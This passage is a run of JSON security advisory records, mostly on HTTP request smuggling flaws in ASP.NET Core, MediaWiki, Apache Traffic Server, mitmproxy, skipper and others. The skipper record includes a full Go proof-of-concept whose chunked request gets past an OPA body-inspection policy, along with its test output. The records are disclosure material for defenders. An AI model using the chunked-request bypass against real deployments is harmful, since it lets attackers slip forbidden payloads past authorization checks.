issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n### External Links\n\n### Acknowledgement\nSid\n\n[CVE-2025-55315]( https://www.cve.org/CVERecord?id=CVE-2025-55315)\n\n### Revisions\n\nV1.0 (October 14, 2025): Advisory published.\n\n_Version 1.0_\n\n_Last Updated 2025-10-14_",
  "id": "GHSA-5rrx-jjjq-q2r5",
  "modified": "2025-10-21T21:04:53Z",
  "published": "2025-10-14T20:32:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/aspnetcore/security/advisories/GHSA-5rrx-jjjq-q2r5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/announcements/issues/371"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dotnet/aspnetcore"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55315"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft Security Advisory CVE-2025-55315: .NET Security Feature Bypass Vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.39.0"
            },
            {
              "fixed": "1.39.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.38.0"
            },
            {
              "fixed": "1.38.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.35.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-29141"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-01T22:02:38Z",
    "nvd_published_at": "2023-03-31T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in MediaWiki before 1.35.10, 1.36.x through 1.38.x before 1.38.6, and 1.39.x before 1.39.3. An auto-block can occur for an untrusted X-Forwarded-For header.",
  "id": "GHSA-5vj8-g3qg-4qh6",
  "modified": "2024-11-01T22:02:38Z",
  "published": "2023-03-31T21:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29141"
    },
    {
      "type": "WEB",
      "url": "https://gerrit.wikimedia.org/r/plugins/gitiles/mediawiki/core/+/REL1_39/RELEASE-NOTES-1.39"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wikimedia/mediawiki"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/08/msg00029.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ONWHGOBFD6CQAEGOP5O375XAP2N6RUHT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZGK4NZPIJ5ET2ANRZOUYPCRIB5I64JR7"
    },
    {
      "type": "WEB",
      "url": "https://phabricator.wikimedia.org/T285159"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5447"
    },
    {
      "type": "WEB",
      "url": "https://www.mediawiki.org/wiki/Release_notes/1.35#MediaWiki_1.35.10"
    },
    {
      "type": "WEB",
      "url": "https://www.mediawiki.org/wiki/Release_notes/1.38#MediaWiki_1.38.6"
    },
    {
      "type": "WEB",
      "url": "https://www.mediawiki.org/wiki/Release_notes/1.39#MediaWiki_1.39.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "X-Forwarded-For header allows brute-forcing autoblocked IP addresses"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-65114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-02T17:16:21Z",
    "severity": "HIGH"
  },
  "details": "Apache Traffic Server allows request smuggling if chunked messages are malformed.\u00a0\n\nThis issue affects Apache Traffic Server: from 9.0.0 through 9.2.12, from 10.0.0 through 10.1.1.\n\nUsers are recommended to upgrade to version 9.2.13 or 10.1.2, which fix the issue.",
  "id": "GHSA-5vvj-6v57-2369",
  "modified": "2026-04-02T21:32:52Z",
  "published": "2026-04-02T18:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65114"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/2s11roxlv1j8ph6q52rqo1klvl01n14q"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 7.0.0.Alpha3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jboss.resteasy:resteasy-netty4-cdi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-9622"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-08T22:23:06Z",
    "nvd_published_at": "2024-10-08T17:15:57Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in the resteasy-netty4 library arising from improper handling of HTTP requests using smuggling techniques. When an HTTP smuggling request with an ASCII control character is sent, it causes the Netty HttpObjectDecoder to transition into a BAD_MESSAGE state. As a result, any subsequent legitimate requests on the same connection are ignored, leading to client timeouts, which may impact systems using load balancers and expose them to risk.",
  "id": "GHSA-5wpr-cj9p-959r",
  "modified": "2024-10-08T22:23:06Z",
  "published": "2024-10-08T18:33:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9622"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-9622"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2317179"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orgs/resteasy/discussions/4351"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/resteasy/resteasy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "HTTP Request Smuggling Leading to Client Timeouts in resteasy-netty4"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.1.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mitmproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1395",
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-25T21:01:00Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "mitmproxy 12.1.1 and below embed python-hyper/h2 \u2264 v4.2.0, which has a gap in its HTTP/2 header validation. This enables request smuggling attacks when mitmproxy is in a configuration where it translates HTTP/2 to HTTP/1. For example, this affects reverse proxies to `http://` backends. It does not affect mitmproxy\u0027s regular mode.\n\nAll users are encouraged to upgrade to mitmproxy 12.1.2, which includes a fixed version of h2.\n\nMore details about the vulnerability itself can be found at https://github.com/python-hyper/h2/security/advisories/GHSA-847f-9342-265h.",
  "id": "GHSA-63cx-g855-hvv4",
  "modified": "2025-08-25T21:01:01Z",
  "published": "2025-08-25T21:01:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mitmproxy/mitmproxy/security/advisories/GHSA-63cx-g855-hvv4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-hyper/h2/security/advisories/GHSA-847f-9342-265h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mitmproxy/mitmproxy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "mitmproxy binaries embed a vulnerable python-hyper/h2 dependency"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "meinheld"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7658"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-22T22:37:11Z",
    "nvd_published_at": "2020-05-22T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "meinheld prior to 1.0.2 is vulnerable to HTTP Request Smuggling. HTTP pipelining issues and request smuggling attacks might be possible due to incorrect Content-Length and Transfer encoding header parsing.",
  "id": "GHSA-63h2-9cc8-fc7m",
  "modified": "2024-09-25T19:43:34Z",
  "published": "2022-05-24T17:18:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7658"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mopemope/meinheld/issues/111"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mopemope/meinheld/commit/0cfa70b2cd3800f1e4beeaef5421b156d90f0e09"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mopemope/meinheld/commit/3bc3e7ccd534277af955c0c92981d0aa033929a7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mopemope/meinheld/commit/4155876bfd3e8fc4adad4aaa59ec3f1cefa1d2d1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mopemope/meinheld"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mopemope/meinheld/blob/master/CHANGES.rst"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/meinheld/PYSEC-2020-239.yaml"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-PYTHON-MEINHELD-569140"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "meinheld vulnerable to HTTP Request Smuggling"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-12811"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-18T23:16:18Z",
    "severity": "MODERATE"
  },
  "details": "Improper Inconsistent Interpretation of\nHTTP Requests (\u0027HTTP Request Smuggling\u0027) in Delinea Inc. Cloud Suite and\nPrivileged Access Service.\n\nIf you\u0027re not using the latest Server Suite agents, this fix requires that you upgrade\u00a0to Server Suite 2023.1 (agent 6.0.1) or later.  *  If you cannot upgrade to Release 2023.1 (agent version 6.0.1) or later, you can choose one of the following versions:\n\n  *  Server Suite release 2023.0.5 (agent version 6.0.0-158)\n\n\n  *  Server Suite release 2022.1.10 (agent version 5.9.1-337)",
  "id": "GHSA-654q-5mj4-74h4",
  "modified": "2026-02-19T00:30:30Z",
  "published": "2026-02-19T00:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12811"
    },
    {
      "type": "WEB",
      "url": "https://docs.delinea.com/online-help/cloud-suite/release-notes/cloud-suite/25.1.htm#Resolved2"
    },
    {
      "type": "WEB",
      "url": "https://trust.delinea.com/?tcuUid=d512dd6a-fa40-421c-ac11-1be280b1cb83"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zalando/skipper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.26.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-08T20:23:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`zalando/skipper`\u0027s OpenPolicyAgent integration silently bypasses request-body\ninspection on HTTP/1.1 `Transfer-Encoding: chunked` and HTTP/2 requests that\nomit the `content-length` pseudo-header. When the\n`opaAuthorizeRequestWithBody` filter is configured, the\n`OpenPolicyAgentInstance.ExtractHttpBodyOptionally` helper produces an\nempty `raw_body` for any request whose `Content-Length` header is missing,\nwhile the underlying chunked body still flows through to the upstream\nservice. Rego policies that gate on `input.parsed_body` (e.g. \"deny when a\nforbidden field is present\") evaluate against an empty document, treat the\nforbidden field as absent, and authorize the request. The upstream handler\nthen receives the full attacker payload that the policy intended to block.\n\n### Affected versions\n\n`github.com/zalando/skipper` versions `\u003c= v0.26.8` (the latest release on\n2026-05-26, current `master` `4eed47ff`). The vulnerable helper and gate\nhave lived in `filters/openpolicyagent/openpolicyagent.go` since the\nbuffered-body extractor was introduced; no released version contains the\nfix at the time of filing.\n\n### Privilege required\n\nUnauthenticated network access to the skipper proxy listener. The threat\nmodel targets operators who place skipper in front of a private upstream\nand rely on `opaAuthorizeRequestWithBody` to enforce body-content checks\n(field allow/deny lists, payload schema gates, content-moderation flags,\nmulti-tenant per-action authorization). Both HTTP/1.1 and HTTP/2 clients\nare affected; HTTP/2 traffic without a `content-length` pseudo-header is\nthe dominant case because Go\u0027s `net/http` sets\n`http.Request.ContentLength = -1` for chunked HTTP/1.1 AND for HTTP/2\nrequests whose framing carries the body as DATA frames without an explicit\nlength header.\n\n### Root cause\n\n`filters/openpolicyagent/openpolicyagent.go:1242-1269` (HEAD `4eed47ff`):\n\n```go\nfunc bodyUpperBound(contentLength, maxBodyBytes int64) int64 {\n    if contentLength \u003c= 0 {\n        return maxBodyBytes\n    }\n    if contentLength \u003c maxBodyBytes {\n        return contentLength\n    }\n    return maxBodyBytes\n}\n\nfunc (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) {\n    body := req.Body\n    if body != nil \u0026\u0026 !opa.EnvoyPluginConfig().SkipRequestBodyParse \u0026\u0026\n        req.ContentLength \u003c= int64(opa.maxBodyBytes) {\n        wrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize)\n        requestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes)\n        if !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) {\n            return req.Body, nil, func() {}, ErrTotalBodyBytesExceeded\n        }\n        rawBody, err := wrapper.fillBuffer(req.ContentLength)\n        return wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err\n    }\n    return req.Body, nil, func() {}, nil\n}\n```\n\n`filters/openpolicyagent/openpolicyagent.go:1195-1210`:\n\n```go\nfunc (m *bufferedBodyReader) fillBuffer(expectedSize int64) ([]byte, error) {\n    var err error\n    for err == nil \u0026\u0026 int64(m.bodyBuffer.Len()) \u003c m.maxBufferSize \u0026\u0026 int64(m.bodyBuffer.Len()) \u003c expectedSize {\n        var n int\n        n, err = m.input.Read(m.readBuffer)\n        m.bodyBuffer.Write(m.readBuffer[:n])\n    }\n    if err == io.EOF { err = nil }\n    return m.bodyBuffer.Bytes(), err\n}\n```\n\nWhen the client sends `Transfer-Encoding: chunked` (HTTP/1.1) or an\nHTTP/2 request without `content-length`, Go\u0027s `net/http` server sets\n`req.ContentLength = -1`. The gate at line 1258 (`req.ContentLength \u003c=\nint64(opa.maxBodyBytes)`) is true (`-1 \u003c= positiveLimit`), so the body\ngets wrapped in `bufferedBodyReader`. `bodyUpperBound(-1, max)` returns\n`max`, so the memory semaphore is acquired, but `fillBuffer(-1)` then\nevaluates `int64(m.bodyBuffer.Len()) \u003c expectedSize` as `0 \u003c -1`, which\nis false on the first iteration. The loop never enters, the buffer stays\nempty, and the helper returns `[]byte{}` as `rawBody` to the caller.\n\nThe caller in\n`filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest.go:121`\nhands this empty slice to `envoy.AdaptToExtAuthRequest` which puts it\ninto `AttributeContext.Request.Http.RawBody`. The OPA SDK then exposes\nthe empty buffer as both `input.attributes.request.http.raw_body` and\nthe parsed `input.parsed_body` document (the latter becomes an\nempty/undefined value). Any Rego rule that asserts the presence of a\nforbidden field in `input.parsed_body` evaluates to undefined and fails\ninto the rule\u0027s default (typically `allow`).\n\nMeanwhile, the wrapped `body` returned to the filter (`req.Body = body`\nat line 127 of `opaauthorizerequest.go`) is a `bufferedBodyReader` whose\n`Read()` falls through to the underlying `m.input.Read(p)` when the\nbuffer is empty (lines 1212-1228). The upstream handler therefore reads\nthe full attacker payload that OPA was never given a chance to inspect.\n\n### Reproduction (E2E against pinned `github.com/zalando/skipper@v0.26.8`)\n\nGHSA advisories have no file-attachment mechanism, so the complete\n`poc_test.go` source and the verbatim `go test` output are inlined below.\n\nThe PoC is a Go test placed in\n`filters/openpolicyagent/opaauthorizerequest/poc_test.go` inside a checkout\nof the `v0.26.8` tag, so it links against the exact released source. It\nboots a real skipper proxy via `proxytest.New`, configures it with the\n`opaAuthorizeRequestWithBody` filter pointing at an in-process\n`opasdktest.MustNewServer` bundle server, installs a Rego policy that\nDENIES requests whose body contains `admin=true`, and adds a tiny upstream\nthat records the body it actually received. It then drives the proxy over a\nraw TCP socket (`net.DialTimeout` + `http.ReadResponse`) to control the\nwire framing precisely, sending three requests.\n\n`poc_test.go`:\n\n```go\npackage opaauthorizerequest\n\n// PoC: opaAuthorizeRequestWithBody OPA-bypass on chunked / HTTP2 framing.\n//\n// The filter\u0027s body extractor (filters/openpolicyagent/openpolicyagent.go,\n// ExtractHttpBodyOptionally) gates on `req.ContentLength \u003c= maxBodyBytes`\n// and then calls fillBuffer(req.ContentLength). When the client sends the\n// body with Transfer-Encoding: chunked (HTTP/1.1) or via HTTP/2 without a\n// declared length, net/http sets req.ContentLength = -1. The gate passes\n// (-1 \u003c= max) but fillBuffer\u0027s loop condition `len(buf) \u003c expectedSize(-1)`\n// is immediately false, so the buffered body is EMPTY. OPA therefore sees an\n// empty input.parsed_body, a deny-policy that keys on the body fails open,\n// and the full attacker body is forwarded upstream.\n//\n// This test boots a real skipper proxy (proxytest) with the\n// opaAuthorizeRequestWithBody filter pointed at an in-process OPA bundle\n// server (opasdktest) hosting a deny-when-admin=true policy, plus a tiny\n// upstream that records the body it actually received. It then drives the\n// proxy over a raw TCP socket to control the wire framing precisely.\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\topasdktest \"github.com/open-policy-agent/opa/v1/sdk/test\"\n\t\"github.com/zalando/skipper/eskip\"\n\t\"github.com/zalando/skipper/filters\"\n\t\"github.com/zalando/skipper/filters/builtin\"\n\t\"github.com/zalando/skipper/proxy/proxytest\"\n\t\"github.com/zalando/skipper/tracing/tracingtest\"\n\n\t\"github.com/zalando/skipper/filters/openpolicyagent\"\n)\n\n// rawRequest opens a fresh TCP connection to addr, writes wire verbatim, and\n// returns the parsed HTTP response.\nfunc rawRequest(t *testing.T, addr, wire string) *http.Response {\n\tt.Helper()\n\tconn, err := net.DialTimeout(\"tcp\", addr, 5*time.Second)\n\tif err != nil {\n\t\tt.Fatalf(\"dial %s: %v\", addr, err)\n\t}\n\tdefer conn.Close()\n\t_ = conn.SetDeadline(time.Now().Add(10 * time.Second))\n\n\tif _, err := io.WriteString(conn, wire); err != nil {\n\t\tt.Fatalf(\"write wire: %v\", err)\n\t}\n\n\tresp, err := http.ReadResponse(bufio.NewReader(conn), nil)\n\tif err != nil {\n\t\tt.Fatalf(\"read response: %v\", err)\n\t}\n\t// Drain so the body received by upstream is flushed before we inspect it.\n\t_, _ = io.Copy(io.Discard, resp.Body)\n\t_ = resp.Body.Close()\n\treturn resp\n}\n\nfunc TestSkipperOPABypassPoC(t *testing.T) {\n\t// Upstream records, per request, the body bytes it actually received.\n\tvar mu sync.Mutex\n\tvar upstreamBodies []string\n\tupstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tb, _ := io.ReadAll(r.Body)\n\t\tmu.Lock()\n\t\tupstreamBodies = append(upstreamBodies, string(b))\n\t\tmu.Unlock()\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = w.Write([]byte(\"UPSTREAM-REACHED\"))\n\t}))\n\tdefer upstream.Close()\n\n\t// OPA bundle: allow by default, deny only when the parsed body says admin==true.\n\topaControlPlane := opasdktest.MustNewServer(\n\t\topasdktest.MockBundle(\"/bundles/test\", map[string]string{\n\t\t\t\"main.rego\": `\n\t\t\t\tpackage envoy.authz\n\n\t\t\t\timport rego.v1\n\n\t\t\t\tdefault allow := true\n\n\t\t\t\tallow := false if {\n\t\t\t\t\tinput.parsed_body.admin == true\n\t\t\t\t}\n\t\t\t`,\n\t\t}),\n\t)\n\tdefer opaControlPlane.Stop()\n\n\tconfig := fmt.Appendf(nil, `{\n\t\t\"services\": {\n\t\t\t\"test\": {\n\t\t\t\t\"url\": %q\n\t\t\t}\n\t\t},\n\t\t\"bundles\": {\n\t\t\t\"test\": {\n\t\t\t\t\"resource\": \"/bundles/{{ .bundlename }}\"\n\t\t\t}\n\t\t},\n\t\t\"labels\": {\n\t\t\t\"environment\": \"test\"\n\t\t},\n\t\t\"plugins\": {\n\t\t\t\"envoy_ext_authz_grpc\": {\n\t\t\t\t\"path\": \"envoy/authz/allow\",\n\t\t\t\t\"dry-run\": false\n\t\t\t}\n\t\t}\n\t}`, opaControlPlane.URL())\n\n\topts := []func(*openpolicyagent.OpenPolicyAgentInstanceConfig) error{\n\t\topenpolicyagent.WithConfigTemplate(config),\n\t}\n\n\topaFactory, err := openpolicyagent.NewOpenPolicyAgentRegistry(\n\t\topenpolicyagent.WithTracer(tracingtest.NewTracer()),\n\t\topenpolicyagent.WithOpenPolicyAgentInstanceConfig(opts...),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"registry: %v\", err)\n\t}\n\n\tfr := make(filters.Registry)\n\tfr.Register(NewOpaAuthorizeRequestWithBodySpec(opaFactory))\n\tfr.Register(builtin.NewSetPath())\n\n\t// Route: every request runs opaAuthorizeRequestWithBody, then proxies to upstream.\n\tr := eskip.MustParse(fmt.Sprintf(\n\t\t`* -\u003e opaAuthorizeRequestWithBody(\"test\") -\u003e \"%s\"`, upstream.URL))\n\n\tproxy := proxytest.New(fr, r...)\n\tdefer proxy.Close()\n\n\thost := strings.TrimPrefix(proxy.URL, \"http://\")\n\n\ttype tc struct {\n\t\tname       string\n\t\twire       string\n\t\twantStatus int\n\t\twantUpstrm bool // whether upstream is expected to be reached\n\t}\n\n\tcases := []tc{\n\t\t{\n\t\t\tname: \"1: Content-Length benign body -\u003e 200 ALLOW\",\n\t\t\twire: \"POST /priv HTTP/1.1\\r\\n\" +\n\t\t\t\t\"Host: \" + host + \"\\r\\n\" +\n\t\t\t\t\"Content-Type: application/json\\r\\n\" +\n\t\t\t\t\"Connection: close\\r\\n\" +\n\t\t\t\t\"Content-Length: 15\\r\\n\" +\n\t\t\t\t\"\\r\\n\" +\n\t\t\t\t`{\"admin\":false}`,\n\t\t\twantStatus: 200,\n\t\t\twantUpstrm: true,\n\t\t},\n\t\t{\n\t\t\tname: \"2: Content-Length admin body -\u003e 403 DENY (negative control)\",\n\t\t\twire: \"POST /priv HTTP/1.1\\r\\n\" +\n\t\t\t\t\"Host: \" + host + \"\\r\\n\" +\n\t\t\t\t\"Content-Type: application/json\\r\\n\" +\n\t\t\t\t\"Connection: close\\r\\n\" +\n\t\t\t\t\"Content-Length: 14\\r\\n\" +\n\t\t\t\t\"\\r\\n\" +\n\t\t\t\t`{\"admin\":true}`,\n\t\t\twantStatus: 403,\n\t\t\twantUpstrm: false,\n\t\t},\n\t\t{\n\t\t\tname: \"3: chunked admin body -\u003e EXPECTED 403, BUG 200 (bypass)\",\n\t\t\twire: \"POST /priv HTTP/1.1\\r\\n\" +\n\t\t\t\t\"Host: \" + host + \"\\r\\n\" +\n\t\t\t\t\"Content-Type: application/json\\r\\n\" +\n\t\t\t\t\"Connection: close\\r\\n\" +\n\t\t\t\t\"Transfer-Encoding: chunked\\r\\n\" +\n\t\t\t\t\"\\r\\n\" +\n\t\t\t\t\"e\\r\\n\" +\n\t\t\t\t`{\"admin\":true}` + \"\\r\\n\" +\n\t\t\t\t\"0\\r\\n\" +\n\t\t\t\t\"\\r\\n\",\n\t\t\twantStatus: 200, // documents the BUG: should be 403 but the bypass yields 200\n\t\t\twantUpstrm: true,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tmu.Lock()\n\t\tbefore := len(upstreamBodies)\n\t\tmu.Unlock()\n\n\t\tresp := rawRequest(t, host, c.wire)\n\n\t\tmu.Lock()\n\t\treached := len(upstreamBodies) \u003e before\n\t\tvar lastBody string\n\t\tif reached {\n\t\t\tlastBody = upstreamBodies[len(upstreamBodies)-1]\n\t\t}\n\t\tmu.Unlock()\n\n\t\tt.Logf(\"[%s] status=%d upstreamReached=%v upstreamBody=%q\",\n\t\t\tc.name, resp.StatusCode, reached, lastBody)\n\n\t\tif resp.StatusCode != c.wantStatus {\n\t\t\tt.Errorf(\"[%s] status = %d, want %d\", c.name, resp.StatusCode, c.wantStatus)\n\t\t}\n\t\tif reached != c.wantUpstrm {\n\t\t\tt.Errorf(\"[%s] upstreamReached = %v, want %v\", c.name, reached, c.wantUpstrm)\n\t\t}\n\t}\n\n\t// Explicit bypass assertion: the chunked admin body MUST have reached\n\t// upstream verbatim despite the deny policy.\n\tmu.Lock()\n\tdefer mu.Unlock()\n\tbypassed := false\n\tfor _, b := range upstreamBodies {\n\t\tif b == `{\"admin\":true}` {\n\t\t\tbypassed = true\n\t\t}\n\t}\n\tif bypassed {\n\t\tt.Logf(\"BYPASS CONFIRMED: upstream received {\\\"admin\\\":true} despite deny policy (OPA saw empty parsed_body for the chunked request)\")\n\t} else {\n\t\tt.Errorf(\"expected the chunked admin body to reach upstream (bypass), but it did not\")\n\t}\n}\n```\n\nThe three requests cover:\n\n| # | Wire framing | Body | Expected | Got |\n|---|--------------|------|----------|-----|\n| 1 | `Content-Length: 15` | `{\"admin\":false}` | 200 ALLOW | 200 (upstream reached) |\n| 2 | `Content-Length: 14` | `{\"admin\":true}` | 403 DENY  | 403 (OPA blocked) |\n| 3 | `Transfer-Encoding: chunked` | `{\"admin\":true}` | 403 DENY | **200 ALLOW (bypass)** |\n\nTest 3 wire bytes: `POST /priv HTTP/1.1\\r\\nHost: ...\\r\\nContent-Type:\napplication/json\\r\\nConnection: close\\r\\nTransfer-Encoding:\nchunked\\r\\n\\r\\ne\\r\\n{\"admin\":true}\\r\\n0\\r\\n\\r\\n`.\n\nRun command and verbatim output (`go version go1.26.3 darwin/arm64`,\n`github.com/open-policy-agent/opa v1.14.1` as pinned by skipper `v0.26.8`):\n\n```\n$ go test -v -run TestSkipperOPABypassPoC -count=1 ./filters/openpolicyagent/opaauthorizerequest/\n=== RUN   TestSkipperOPABypassPoC\n2026/05/28 14:43:47 route settings, reset, route: : * -\u003e opaAuthorizeRequestWithBody(\"test\") -\u003e \"http://127.0.0.1:57343\"\n2026/05/28 14:43:47 route settings received, id: 1\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"Starting OPA instance...\" 